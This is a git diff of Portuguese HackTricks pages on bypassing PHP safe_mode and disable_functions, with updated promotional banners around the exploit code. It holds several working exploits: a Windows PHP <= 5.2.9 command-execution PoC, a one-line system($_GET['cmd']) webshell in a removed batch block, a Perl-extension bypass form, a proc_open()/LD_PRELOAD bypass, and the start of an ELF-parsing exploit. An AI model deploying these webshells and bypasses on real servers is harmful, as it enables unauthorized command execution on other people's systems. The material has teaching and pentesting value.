|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# PHP <= 5.2.9 no Windows
|
||||||
|
|
||||||
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||||
|
|
||||||
|
@ -8,42 +23,42 @@ De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.s
|
||||||
<?php
|
<?php
|
||||||
//cmd.php
|
//cmd.php
|
||||||
/*
|
/*
|
||||||
Abysssec Inc Public Advisory
|
Abysssec Inc Public Advisory
|
||||||
|
|
||||||
Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
|
Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
|
||||||
the problem comes from OS behavior - implement and interfacing between php
|
the problem comes from OS behavior - implement and interfacing between php
|
||||||
and operation systems directory structure . the problem is php won't tell difference
|
and operation systems directory structure . the problem is php won't tell difference
|
||||||
between directory browsing in linux and windows this can lead attacker to ability
|
between directory browsing in linux and windows this can lead attacker to ability
|
||||||
execute his / her commands on targert machie even in SafeMod On (php.ini setting) .
|
execute his / her commands on targert machie even in SafeMod On (php.ini setting) .
|
||||||
=============================================================================
|
=============================================================================
|
||||||
in linux when you want open a directory for example php directory you need
|
in linux when you want open a directory for example php directory you need
|
||||||
to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
|
to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
|
||||||
diffence between slash and back slash it means there is no didffrence between
|
diffence between slash and back slash it means there is no didffrence between
|
||||||
c:\php and c:/php , and this is not vulnerability but itself but because of this simple
|
c:\php and c:/php , and this is not vulnerability but itself but because of this simple
|
||||||
php implement "\" character can escape safemode using function like excec .
|
php implement "\" character can escape safemode using function like excec .
|
||||||
here is a PoC for discussed vulnerability . just upload files on your target host and execute
|
here is a PoC for discussed vulnerability . just upload files on your target host and execute
|
||||||
your commands .
|
your commands .
|
||||||
==============================================================================
|
==============================================================================
|
||||||
note : this vulnerabities is just for educational purpose and author will be not be responsible
|
note : this vulnerabities is just for educational purpose and author will be not be responsible
|
||||||
for any damage using this vulnerabilty.
|
for any damage using this vulnerabilty.
|
||||||
==============================================================================
|
==============================================================================
|
||||||
for more information visit Abysssec.com
|
for more information visit Abysssec.com
|
||||||
feel free to contact me at admin [at] abysssec.com
|
feel free to contact me at admin [at] abysssec.com
|
||||||
*/
|
*/
|
||||||
$cmd = $_REQUEST['cmd'];
|
$cmd = $_REQUEST['cmd'];
|
||||||
if ($cmd){
|
if ($cmd){
|
||||||
$batch = fopen ("cmd.bat","w");
|
$batch = fopen ("cmd.bat","w");
|
||||||
fwrite($batch,"$cmd>abysssec.txt"."\r\n");
|
fwrite($batch,"$cmd>abysssec.txt"."\r\n");
|
||||||
fwrite($batch,"exit");
|
fwrite($batch,"exit");
|
||||||
fclose($batch);
|
fclose($batch);
|
||||||
exec("\start cmd.bat");
|
exec("\start cmd.bat");
|
||||||
echo "<center>";
|
echo "<center>";
|
||||||
echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";
|
echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";
|
||||||
echo "<textarea rows=20 cols=60>";
|
echo "<textarea rows=20 cols=60>";
|
||||||
require("abysssec.txt");
|
require("abysssec.txt");
|
||||||
echo "</textarea>";
|
echo "</textarea>";
|
||||||
echo "</center>";
|
echo "</center>";
|
||||||
}
|
}
|
||||||
?>
|
?>
|
||||||
|
|
||||||
<html>
|
<html>
|
||||||
|
@ -60,40 +75,20 @@ De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.s
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="cmd.bat" %}
|
{% tab title="cmd.bat" %}
|
||||||
|
|
||||||
Este é um arquivo batch que pode ser usado para contornar a diretiva `disable_functions` no PHP versão inferior a 5.2.9 no Windows. Ele funciona usando o comando `com` para executar comandos do sistema operacional.
|
|
||||||
|
|
||||||
```text
|
|
||||||
@echo off
|
|
||||||
echo <?php system($_GET['cmd']); ?> > cmd.php
|
|
||||||
echo [*] PHP webshell criado com sucesso!
|
|
||||||
echo [*] Iniciando servidor web PHP...
|
|
||||||
echo [*] Acesse http://127.0.0.1:8080/cmd.php?cmd=<comando>
|
|
||||||
php -S 127.0.0.1:8080
|
|
||||||
```
|
|
||||||
|
|
||||||
Para usar este arquivo, basta executá-lo no prompt de comando e acessar o arquivo `cmd.php` no navegador. Em seguida, você pode executar comandos do sistema operacional adicionando-os à URL após o parâmetro `cmd`.
|
|
||||||
```
|
```
|
||||||
dir > abyss.txt
|
dir > abyss.txt
|
||||||
exit
|
exit
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,19 @@
|
||||||
# Exploração de Bypass do Safe\_mode da Extensão Perl do PHP
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# PHP Perl Extension Safe\_mode Bypass Exploit
|
||||||
|
|
||||||
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||||
```php
|
```php
|
||||||
|
@ -28,16 +43,14 @@ echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25>
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,27 +1,25 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Exploração de bypass do PHP safe\_mode via proc\_open\(\) e ambiente personalizado
|
# Bypass do PHP safe_mode via exploit com proc_open() e ambiente personalizado
|
||||||
|
|
||||||
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||||
```php
|
```php
|
||||||
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
|
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
|
||||||
1 => array("file", $path."/output.txt","w"),
|
1 => array("file", $path."/output.txt","w"),
|
||||||
2 => array("file", $path."/errors.txt", "a" )
|
2 => array("file", $path."/errors.txt", "a" )
|
||||||
); $cwd = '.'; $env = array('LD_PRELOAD' => $path."/a.so"); $process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r");
|
); $cwd = '.'; $env = array('LD_PRELOAD' => $path."/a.so"); $process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r");
|
||||||
echo "<strong>";
|
echo "<strong>";
|
||||||
while (!feof($a))
|
while (!feof($a))
|
||||||
|
@ -31,16 +29,14 @@ while (!feof($a))
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -35,86 +33,86 @@ beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
|
||||||
0000000000e94998 R_X86_64_JUMP_SLOT open
|
0000000000e94998 R_X86_64_JUMP_SLOT open
|
||||||
$system_offset and $open_offset:
|
$system_offset and $open_offset:
|
||||||
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
|
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
|
||||||
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
|
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
|
||||||
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5
|
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5
|
||||||
*/
|
*/
|
||||||
function packlli($value) {
|
function packlli($value) {
|
||||||
$higher = ($value & 0xffffffff00000000) >> 32;
|
$higher = ($value & 0xffffffff00000000) >> 32;
|
||||||
$lower = $value & 0x00000000ffffffff;
|
$lower = $value & 0x00000000ffffffff;
|
||||||
return pack('V2', $lower, $higher);
|
return pack('V2', $lower, $higher);
|
||||||
}
|
}
|
||||||
function unp($value) {
|
function unp($value) {
|
||||||
return hexdec(bin2hex(strrev($value)));
|
return hexdec(bin2hex(strrev($value)));
|
||||||
}
|
}
|
||||||
function parseelf($bin_ver, $rela = false) {
|
function parseelf($bin_ver, $rela = false) {
|
||||||
$bin = file_get_contents($bin_ver);
|
$bin = file_get_contents($bin_ver);
|
||||||
$e_shoff = unp(substr($bin, 0x28, 8));
|
$e_shoff = unp(substr($bin, 0x28, 8));
|
||||||
$e_shentsize = unp(substr($bin, 0x3a, 2));
|
$e_shentsize = unp(substr($bin, 0x3a, 2));
|
||||||
$e_shnum = unp(substr($bin, 0x3c, 2));
|
$e_shnum = unp(substr($bin, 0x3c, 2));
|
||||||
$e_shstrndx = unp(substr($bin, 0x3e, 2));
|
$e_shstrndx = unp(substr($bin, 0x3e, 2));
|
||||||
for($i = 0; $i < $e_shnum; $i += 1) {
|
for($i = 0; $i < $e_shnum; $i += 1) {
|
||||||
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
|
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
|
||||||
if($sh_type == 11) { // SHT_DYNSYM
|
if($sh_type == 11) { // SHT_DYNSYM
|
||||||
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
|
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
|
||||||
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
|
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
|
||||||
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
|
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
|
||||||
}
|
}
|
||||||
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
|
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
|
||||||
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
|
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
|
||||||
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
|
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
|
||||||
}
|
}
|
||||||
elseif($rela && $sh_type == 4) { // SHT_RELA
|
elseif($rela && $sh_type == 4) { // SHT_RELA
|
||||||
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
|
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
|
||||||
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
|
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
|
||||||
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
|
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if($rela) {
|
if($rela) {
|
||||||
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
|
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
|
||||||
$r_offset = unp(substr($bin, $i, 8));
|
$r_offset = unp(substr($bin, $i, 8));
|
||||||
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
|
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
|
||||||
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
|
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
|
||||||
$name = '';
|
$name = '';
|
||||||
$j = $strtab_off + $name_off - 1;
|
$j = $strtab_off + $name_off - 1;
|
||||||
while($bin[++$j] != "\0") {
|
while($bin[++$j] != "\0") {
|
||||||
$name .= $bin[$j];
|
$name .= $bin[$j];
|
||||||
}
|
}
|
||||||
if($name == 'open') {
|
if($name == 'open') {
|
||||||
return $r_offset;
|
return $r_offset;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
|
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
|
||||||
